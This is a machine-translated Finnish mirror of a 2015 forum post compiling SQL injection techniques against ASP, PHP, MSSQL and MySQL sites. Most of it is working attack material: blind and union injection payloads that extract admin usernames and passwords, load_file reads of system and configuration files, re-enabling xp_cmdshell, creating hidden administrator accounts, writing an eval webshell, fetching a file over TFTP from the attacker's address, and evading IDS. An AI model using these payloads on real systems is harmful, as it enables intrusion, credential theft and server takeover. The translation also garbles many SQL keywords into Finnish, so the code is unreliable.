Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 20889|Vastaus: 2

[Turvallinen viestintä] SQL-injektiokirja – ASP-injektion haavoittuvuus Täysi yhteys

[Kopioi linkki]
Julkaistu 28.9.2015 18.21.41 | | |


MSSQL:n tietokantakyselyt (haiseva ruoka!) Dark)

Purista pois jokainen MS SQL:n pisara

SQL-lauseen viittaukset ja tietuejoukkojen objektit selitetään yksityiskohtaisesti

Tietoa tallennetuista proseduureista SQL Serverissä

Luo webshell mssql-varmuuskopiolla

SQL_Injection edistyneet sovellukset

Cross-site SQL injection (laokai)

Outo SQL-injektio (AMANL)

Edistynyt SQL-injektio SQL Server -sovelluksissa

Kuinka käyttää SQL-injektiota hakemistojen läpikäyntiin

SQL-injektiotekniikoiden läpipeluu (kääntäjä: demonalex)

Joitakin hyökkäyksiä SQL-tietokantoja vastaan

SQL-injektio-hyökkäystekniikka (JSW)

SQL_Injection Edistyneet sovellukset (APACHY)

Epätavalliset SQL-injektion menetelmät (Guilin Veteran)

Varaa kuori

Puhutaanpa php+mysql-injektion lauserakenteesta (Heyhehehehe·≯Super· Hei)

Edistynyt SQL-injektio MySQL:llä (enkeli)

L'injection (My)SQL PHP:n kautta

Oracle SQL Language

SQL:n manuaalinen injektionaalinen tietosanakirja

Edellytykset vaativat työkaluja: SQL Query Analyzer ja SqlExec Sunx Version
==============================================================================================
1. Selvitä, onko pistospiste
; ja 1=1 ja 1=2
2. Arvelen, että taulun nimi on vain ylläpitäjän käyttäjä, salasana jne.:
ja 0<>(valitse lukumäärä(*) kohdasta *)
ja 0<>(valitse count(*) adminilta) — Selvitä, onko ylläpitäjätaulu olemassa
3. Arvaa tilien määrä Jos kohtaat 0< palaa oikealle sivulle 1< palauta virhesivu osoittaaksesi, että tilien määrä on 1
ja 0<(valitse count(*) ylläpitäjältä)
ja 1<(valitse count(*) ylläpitäjältä)
4. Arvaa kentän nimi Lisää kentän nimi, jonka ajattelemme len( ) sulkeissa.
ja 1=(valitse count(*) administa, missä len(*)>0)–
ja 1=(valitse count(*) ylläpitäjältä, missä len(kentän nimi)>0)
ja 1=(valitse count(*) ylläpitäjästä, missä len(_blank>salasanakentän nimi)>0)
5. Arvaa kunkin kentän pituus Arvaa pituus muuntaa >0, kunnes oikea sivu palautuu
ja 1=(valitse count(*) administa, missä len(*)>0)
ja 1=(valitse count(*) ylläpitäjältä, missä len(name)>6) virhe
ja 1=(valitse count(*) administa, missä len(name)>5) Oikea pituus on 6
ja 1=(valitse count(*) ylläpitäjältä, missä len(name)=6) on oikein
ja 1=(valitse count(*) ylläpitäjältä, missä len(password)>11) on oikein
ja 1=(valitse count(*) ylläpitäjältä, missä len(password)>12) virhepituus on 12
ja 1=(valitse count(*) ylläpitäjältä, missä len(password)=12) on oikein
6. Arvaa hahmot
ja 1=(valitse count(*) ylläpitäjältä, missä left(name,1)=a) — Arvaa käyttäjän tilin ensimmäinen numero
ja 1=(valitse count(*) ylläpitäjältä, missä left(name,2)=ab)—Arvaa käyttäjän tilin toinen numero
Lisää vain yksi merkki kerrallaan arvaamaan, arvaa tarpeeksi monta numeroa kuin juuri arvasit, ja tilinumero tulee esiin
(1) Arvaa pöydän nimi

Käytetyt lauseet:
ja on olemassa (valitse * taulukon nimestä)

Esimerkiksi:
ja on olemassa (valitse * ylläpitäjältä)

Jos sivu kaikuu oikein, se tarkoittaa, että arvaamamme taulukon nimi on oikea, ja jos sivu on väärä, se tarkoittaa, että kirjoittamamme taulun nimi on väärä

, vaihda sitten taulukon nimi ja jatka arvaamista, kunnes arvaat.

Yleisesti käytetyt taulunimet ovat esimerkiksi admin, manage, user tai put it in the tool run
(2) Arvaa kenttä

Käytetyt lauseet:
ja on olemassa (valitse kentän nimi taulukon nimestä)

Esimerkiksi:
ja on olemassa (valitse käyttäjänimi ylläpitäjältä)

Tässä, olettaen että admin-taulukko on se taulukko, jonka arvasin oikein, haluan selvittää, onko käyttäjätunnuskenttä olemassa, minun täytyy käyttää tätä lausetta, jos sivu

Jos face echo on oikein, se tarkoittaa, että kenttänimi, jonka arvasimme tässä, on oikea, ja jos sivu on väärä, se tarkoittaa, että kentän nimi, jonka kirjoitimme tähän, on väärä

, vaihda kentän nimi ja jatka arvaamista, kunnes arvaat.

Yleisesti yleisiä kenttänimiä ovat käyttäjätunnus, salasana, käyttäjä, pass, name, pass, pwd, usr, psd ja muut kentät
(3) järjestys seuraavasti

Järjestys on saada kyseisen sivun kenttien määrän summa, valmistautuen seuraavaan yhteiseen kyselyyn
(4) Union Select

  1. Jos tuet yhteiskyselyä, etsi näyttöbitti http://www.xxx.com/product_show.asp?id=1 ja 1=2 union-valinta

1,2,3,4,5,6,7,8,9,10,11
Oletetaan, että näyttöbitit ovat 5,6. Seuraavaksi tarvitsee vain korvata kenttänimet, jotka vastaavat ylläpitäjän käyttäjätunnusta ja salasanaa, näyttöbitin sijainnilla tässä
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 ylläpitäjältä löysi taustakirjautumisen
  2. Jos yhteiskyselyä ei tueta
Ylläpitäjän käyttäjätunnusta ja salasanaa ei voi saada ilman yhteistä kyselyä – käyttämällä Ascii-sanasanaista dekoodausta
Kaksi
  Käytä järjestystä arvioidaksesi taulukon bittien määrän, ja jos se ei toimi, käytä Union selectiä järjestääksesi ne yksi kerrallaan, tässä oletetaan 8 bittiä
Kolme
  Käytä yhteiskyselyä näyttöbittien määrittämiseen
Neljä
  Käytä näyttöbittiä löytääksesi tietokannan nimen, tietokantaversio, 5.0 tai uudempi voidaan injektoida
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Viisi
  Tietokannan nimellä voit alkaa saada taulukon nimen skeeman = ja sen jälkeen tietokannan nimen HEX-arvon ja arvata taulun nimen
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.sarakkeet+missä+
table_schema=0x666C6965725F6462617365
Kuusi
  Analysoitu taulun nimi määrittää ylläpitäjän taulun nimi=taulun HEX-arvon ja arvaa taulukon kentät
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(EROTTUVA

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Seitsemän
  Kun olemme saaneet kentät hallintataulukosta, haetaan kenttien sisältö
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(EROTTUVA

+käyttäjänimi,
0x5f,userpwd),8+from+pub_webmaster
Kahdeksan
  Työkalu skannaa taustaa: Kirjaudu sisään lataamaan troijalainen löydettyäsi, ja jos et löydä robots.txt-tiedostoa, pääset käsiksi
Yhdeksän
  Jos et löydä taustaa, MYSQL-ylläpitäjän salasana paljastuu
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(käyttäjä,salasana),8+from+mysql.user
Kymmenen
  Kun pääset satunnaisesti polulle, palaute on IIS6:n oletussivu 404, mikä osoittaa, että verkkosivuston palvelin on: Windows+IIS6+php+MySql-ympäristö
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Tämä polku voi saada verkkosivuston konfiguraatiotiedot.
  Konstruktiolauseet http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Yksitoista
  Analysoi koodi ja etsi taustaosoite
  Ensimmäisessä vaiheessa meidän täytyy saada taulukon kenttien pituus
Käytetyt lausunnot:
ja (valitse top 1 lens (kentän nimi) taulukon nimestä)>0
Kuten mitä:
ja (valitse ylin 1 lenssi (admin_name) ylläpitäjästä)>0
Sivu näkyy normaalisti, kentän pituus admin_name on suurempi kuin 0, ja lähetän seuraavaa:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Sivulla näkyy virhe, jossa kerrotaan, että kenttä on välillä 0–10 ja pituus 5 dikotomian avulla
Käyttäen samaa menetelmää määrittääkseni kentän pituuden ylläpitäjän salasanalle, saan pituuden 16
  Vaihe 2
Siirrytään nyt toiseen vaiheeseen, otetaan tietty merkki kentästä ja haetaan kyseisen merkin ASCII-koodi, jota käytetään

Lausunto:
ja (valitse top 1 asc (mid(kentän nimi, N,1)) taulukon nimestä)>0
Katsotaanpa tätä lausetta erikseen, ensin sisimmän mid(käyttäjätunnus, 1,1) funktioon, joka on admin_name-kentän ensimmäinen merkki, N

osoittaa, että ensimmäiset merkit on siepattava,
Sitten ulompi asc()-funktio, joka muuntaa mid-funktion sieppaama merkit ASCII-koodiksi, uloin top 1, edustaa ensimmäisen sijan palautuskenttää

Ennätys siis,
">0" lopussa vertaa muunnettua ASCII-koodia tähän numeroon ja lopuksi saadaan sieppaus vaihtamalla viimeistä arvoa jatkuvasti

Tutustu tähän hahmoon tarkemmin
ASCII-koodi
Luovutus:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Sivu näkyy normaalisti, mikä osoittaa, että tämän merkin ASCII-koodi on suurempi kuin 30.
Luovutus:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Sivu näkyy normaalisti, mikä osoittaa, että tämän merkin ASCII-koodi on suurempi kuin 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII-koodi, jonka päädyin tälle hahmolle, on 97
Vertaa ASCII-taulukkoa:
Voidaan päätellä, että ensimmäinen merkki on "a".
Sitten arvioin toisen merkin ASCII-koodin.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Sivu näkyy normaalisti, mikä osoittaa, että merkin ASCII-koodi on suurempi kuin 90, ja viimeinen arvo muuttuu aina
Sama menetelmä antoi ylläpitäjän salasanan, ja tulos oli:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
ja 1=(valitse ylin 1 count(*) Administa, missä Asc(mid(pass,5,1))=51) –
Tämä kyselylauseke voi arvata kiinalaisen käyttäjän ja _blank> salasanan. Korvaa vain seuraavat numerot kiinalaisella ASSIC-koodilla

Muunna hahmoiksi.

Ryhmä users.id siten, että 1=1–www.myhack58.com
Ryhmittele users.id, users.username, users.password, users.privs 1=1–
; Lisää käyttäjäarvoihin (666, hyökkääjä, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä

TABLE_blank>_NAME=logintable Missä COLUMN_blank>_NAME EI MUKANA (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. SARAKKEET Missä

TABLE_blank>_NAME=logintable Missä COLUMN_blank>_NAME EI SISÄÄN

(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name logintablesta-
UNION Valitse TOP 1 salasana LOGINTABLESTA, missä login_blank>_name=Rahul–
Katso päivitystä, jonka _blank>-palvelin pelaa = väärä SP4-päivitys musta palkki turvaverkko
ja 1=(valitse @@VERSION)–

Katso _blank> tietokantayhteystilin oikeuksia, ja se palauttaa normaalin, mikä todistaa, että kyseessä on _blank> palvelinroolin järjestelmänvalvojan oikeus.
ja 1=(Valitse IS_blank>_SRVROLEMEMBER(järjestelmänvalvoja))–

Määritä, _blank> tietokantatili yhdistetty. (Käytä SA-tiliä yhdistääksesi ja palauta normaali = todista, että yhdistetty tili on SA)
ja sa=(Valitse System_blank>_user)–
ja user_blank>_name()=dbo–
ja 0<>(valitse user_blank>_name()–

Katso, poistaako xp_blank>_cmdshell
ja 1=(Valitse count(*) FROM master.dbo.sysobjects Missä xtype = X JA name = xp_blank>_cmdshell)



xp_blank>_cmdshell poistetaan, palautetaan ja tukee absoluuttista polun palautusta
; JOHTAJA master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== tietokannan käyttöoikeus altistuu verkkosivuston fyysiselle polkukoodille

==========================================================================
1、pudotustaulukko [jm_tmp]; create table [jm_tmp](arvo navrchar(4000) null,data nvarchar(4000)

null) -- Luo taulukko


2、 poista [jm_tmp]; lisää [jm_tmp] johtaja master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Lisää sivustohakemisto taulukkokenttään


3、and (valitse top 1 cast([data] nimellä nvarchar(4000) char(124) [jm_tmp]-tilauksesta [data]

desc)=0 '//Näkyvä kenttä


4. Poista taulukko [jm_tmp] -- Poista tämä taulukko.
komentoa varten saada kuori
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Muut asemareitit
======================load_file() Yleisesti käytetty arkaluonteinen tieto ===========================================
1、 korvaa(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Edellä mainitut kaksi ovat PHP-tiedoston näkemistä, joka näyttää koodin kokonaan. On tilanteita, joissa joitakin merkkejä ei korvata, kuten "<" eikä "space", joka palaa

Verkkosivu. Ja koodia ei voi nähdä.

3. load_file(char(47)) voi listata FreeBSD- ja Sunos-järjestelmien juurihakemiston

4. Katso Linux APACHE -virtuaalisen isäntäkonfiguraatiotiedoston osoitteesta /etc/httpd/conf/httpd.conf tai /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf tai C:\apache\conf\httpd.conf WINDOWSin katseluun

System Apache -tiedosto

6. c:/Resin-3.0.14/conf/resin.conf Katso jsp:n kehittämän verkkosivuston hartsitiedostojen konfiguraatiotiedot.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf nähdäksesi JSP-virtuaalipalvelimen Linux-järjestelmässä

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin räjähdyspolku

11. C:\Windows\system32\inetsrv\MetaBase.xml Katso IIS:n virtuaalinen isäntäkonfiguraatiotiedosto

12. /usr/local/resin-3.0.22/conf/resin.conf nähdäksesi RESIN konfiguraatiotiedoston 3.0.22:lle

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama kuin yllä

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuaalinen isäntä

15. /etc/sysconfig/iptables riippuu palomuuripolitiikasta

16. /usr/local/app/php5 b/php.ini PHP:n vastaavat asetukset

17. /etc/my.cnf MYSQL-konfiguraatiotiedosto

18. /etc/redhat-release-järjestelmäversio Red Hatista

19 、C:\mysql\data\mysql\user. MYD esiintyy käyttäjän salasanassa MYSQL-järjestelmässä

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 IP:n katseluun.

21. /usr/local/app/php5 b/php.ini //PHP:hen liittyvät asetukset

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuaalisivuston asetukset

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue näyttää Linux-ytimen jakelutiedot

26、/etc/ftpuser

27. Tarkista operaatioloki LINUXin user.bash_history tai .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Kokeile itse käänteistä PING-kokeilua
; käytä masteria; julista @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ulos; johtaja

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Lisää tili
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Luo virtuaalihakemisto E-levy:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Access-ominaisuudet: (kirjoittamalla webshelliin)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Erityinen _blank> temppu kirjaston purkamiseen: :%5c=\ tai muokkaa %5:ttä / ja \:lla sitoutuaksesi
ja 0<>(valitse top 1 -polut newtablesta)–

Hanki tietokannan nimi (järjestelmän tunnukset ovat 1–5, ja voit arvioida ne yli 6)
ja 1=(valitse nimi master.dbo.sysdatabasesista, missä dbid=7)–
ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=6)
Lähetä dbid vuorollaan = 7,8,9.... Hanki lisää _blank> tietokantanimiä

ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=U) räjähtävät taulukkoon olettaen ylläpitäjän
ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=you ja nimi ei ole (Admin)).

Muut pöydät.
ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype=you ja name=admin
ja uid>(str(id))) UID:n numeerisen arvon oletetaan olevan 18779569 uid=id
ja 0<>(valitse top 1 nimi bbs.dbo.syscolumnsista, missä id=18779569) saa admin-kentän, false

Asetettu user_blank>_id
ja 0<>(valitse top 1 -nimi bbs.dbo.syscolumnsista, missä id=18779569 ja nimi ei ole
(id,...)) paljastaakseen muita kenttiä
ja 0<(valitse user_blank>_id BBS.dbo.administa, jossa käyttäjänimi>1) saadaksesi käyttäjätunnuksen
Vastineeksi saat _blank> salasanan。。。。。 Oletetaan, että on kenttiä kuten user_blank>_id käyttäjätunnus, salasana jne

ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=6)
ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=U) saadakseen taulukon nimen
ja 0<>(valitse top 1 nimi bbs.dbo.sysobjectsista, missä xtype=u ja nimi ei in(Address))
ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype=u ja name=admin ja uid>(str(id))))

Määritä id-arvo
ja 0<>(valitse top 1 nimi BBS.dbo.syscolumnsista, missä id=773577794) kaikki kentät

?id=-1 ammattiliitto valitse 1,2,3,4,5,6,7,8,9,10,11,12,13,* ylläpitäjältä
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 adminilta (union, access on myös helppokäyttöinen)

Hanki WEB-polku
; Luo taulukko [dbo]. [vaihtoa] ([swappass][char](255)); –
ja (valitse top 1 swappass swapista)=1–
; Luo TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

mestari.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=JÄRJESTELMÄ

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT lisää polut(polku) arvot(@test)–
; käytä ku1; –
; create table cmd (str-kuva); – Luo taulukko-komento kuvatyypistä
1. Tapa poistaa xp_cmdshell laajennusprosessi on käyttää seuraavaa lausetta:

jos on olemassa (valitse * dbo.sysobjectsista, missä id=object_id(N'[dbo].[ xpcmdshell]') ja

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
johtaja sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Laajennusprosessin lisääminen xp_cmdshell on seuraava lause:

(1) SQL-kyselyanalysaattori

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Täytä ensin %s SqlExec Sunx Version Format-vaihtoehtoon ja syötä se CMD-vaihtoehtoon

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

poista

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Testausprosesseja on xp_blank>_cmdshell:
; Toimitusjohtaja.. xp_blank>_cmdshell ohjaaja
; johtaja master.dbo.sp_blank>_addlogin jiaoniang$; – Lisää SQL-tilit
; johtaja master.dbo.sp_blank>_password null, jiaoniang$, 1866574; –
; johtaja master.dbo.sp_blank>_addsrvrolemember jiaoniang$ järjestelmänvalvoja; –
; exec master.dbo.xp_blank>_cmdshell verkkokäyttäjä jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Executive master.dbo.xp_blank>_cmdshell Net LocalGroupin ylläpitäjät Jiaoniang$ /add; –
Toimitusjohtaja.. xp_blank>_servicecontrol lähtö, aikatauluta _blank> palvelu
Toimitusjohtaja.. xp_blank>_servicecontrol aloitus, palvelin
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Toimitusjohtaja.. xp_blank>_cmdshell tftp - i youip get file.exe – Lataa tiedostoja TFTP:llä

; declare @a sysname-joukko @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname-joukko @a=XP+_blank>_cm'+'dshell exec @a dir c:\
; julistaa @a; joukko @a=db_blank>_name(); varmuuskopiotietokanta @a levylle=IP-osoitteesi Jaettu hakemistosi bak.dat
Jos rajoituksia, kyllä.
valitse * openrowset(_blank>sqloledb,server; sa; , valitse OK! johtaja

master.dbo.sp_blank>_addlogin hax)

Kyselyrakenne:
Valitse * UUTISISTA Missä id=... JA aihe=... JA .....
adminand 1=(valitse count(*) [käyttäjä] -kohdasta, jossa käyttäjänimi=uhri ja right(left(userpass,01),1)=1)

ja userpass <>
valitse 123; –
; käytä masteria; –
:a tai nimi kuten fff%; – Näyttää käyttäjän nimeltä ffff.
ja 1<>(valitse määrä (sähköposti) [käyttäjä]); –
; päivitä [käyttäjät] aseta sähköposti=(valitse top 1 nimi sysobjectsista, missä xtype=U ja status>0) missä

nimi=ffff; –
; päivitä [käyttäjät] aseta email=(valitse top 1 id sysobjectsista, missä xtype=you ja name=ad) missä

nimi=ffff; –
; päivitä [käyttäjät] aseta sähköposti=(valitse top 1 nimi sysobjectsista, missä xtype=you ja id>581577110)

missä nimi=ffff; –
; päivitä [käyttäjät] aseta email=(valitse top 1 count(id) salasanasta) missä nimi=ffff; –
; päivitä [käyttäjät] aseta sähköposti=(valitse salasanasta top 1 pwd missä ID=2) missä nimi=ffff; –
; päivitä [käyttäjät] aseta sähköposti=(valitse salasanasta top 1 nimi, missä ID=2) missä nimi=ffff; –
Yllä oleva lause on hakea ensimmäinen käyttäjätaulu _blank> tietokannasta ja laittaa taulun nimi ffff-käyttäjän sähköpostikenttään.
Katsomalla ffff:n käyttäjäprofiilia saat ensimmäisen taulukon nimeltä AD
Sitten saat tämän taulukon ID:n taulukon nimen mukaan saadaksesi toisen taulukon nimen

lisää käyttäjäarvoihin( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
lisää käyttäjäarvoihin (667,123,123,0xffff)–
syötä käyttäjän arvoihin (123, admin–, salasana, 0xffff)–
; ja käyttäjä>0
; ja (valitse count(*) sysobjectsista)>0
; ja (valitse count(*) mysysobjectsista)>0 // access_blank>-tietokannalle

Luettele datataulukon nimi
; päivitä AAA Set AAA=(valitse top 1 nimi sysobjectsista, missä xtype=U ja status>0); –
Tässä vaiheessa ensimmäisen taulukon nimi päivitetään AAA-kenttään.
Lue ensimmäinen taulukko, ja toista taulukkoa voi lukea näin (lisää ja nimi ehdon jälkeen<> juuri saamasi taulukon nimi).
; Päivitä AAA:n asetus aaa=(valitse top 1 -nimi sysobjectsista, missä xtype=U ja status>0 ja

nimi<>äänestys); –
Silloin id=1552 ja on olemassa (valitse * aaa:sta, missä aaa>5)
Lue toinen taulukko ja yksi kerrallaan, kunnes sitä ei enää ole.
Lukukenttä näyttää tältä:
; päivitä AAA-setin AAA=(valitse top 1 col_blank>_name(object_blank>_id(taulun nimi),1)); –
Silloin id=152 ja on olemassa (valitse * aaa:sta, missä aaa>5) saa virheen ja saa kentän nimen
; päivitä AAA-setin AAA=(valitse top 1 col_blank>_name(object_blank>_id((taulun nimi),2)); –
Silloin id=152 ja on olemassa (valitse * aaa:sta, missä aaa>5) saa virheen ja saa kentän nimen

[Hae tietotaulukon nimi] [Päivitä kentän arvo taulun nimeen ja lue sitten tämän kentän arvo saadaksesi taulun nimen]
päivitä taulukkonimi set field=(valitse top 1 name sysobjectsista, missä xtype=U ja status>0 [ ja nimi<>

Taulukkonimi, jonka saat, löydä yksi plus yksi]) [ missä ehto] valitse top 1 nimi sysobjectsista, missä xtype=u ja

tila>0 ja nimi ei ole (taulukko 1, taulukko 2,...)
Tietokanta-ylläpitäjätilin ja järjestelmänvalvojatilin luominen _blank> _blank> haavoittuvuuksien injektiointi SQLSERVERin kautta [Nykyisen tilin täytyy olla järjestelmänvalvojaryhmä]

[Hanki datatable-kentän nimi] [Päivitä kentän arvo kentän nimeen ja lue sitten tämän kentän arvo saadaksesi kentän nimen]
päivitä taulukkonimi setin kenttä=(valitse top 1 col_blank>_name(object_blank>_id (datataulukon nimi kyselylle), kenttäsarake

Esimerkiksi: 1) [ missä ehto]

IDS-tunnistuksen ohittaminen [muuttujien avulla]
; declare @a sysname-joukko @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname-joukko @a=XP+_blank>_cm'+'dshell exec @a dir c:\

1. Avaa etä-_blank> tietokanta
Perussyntaksi
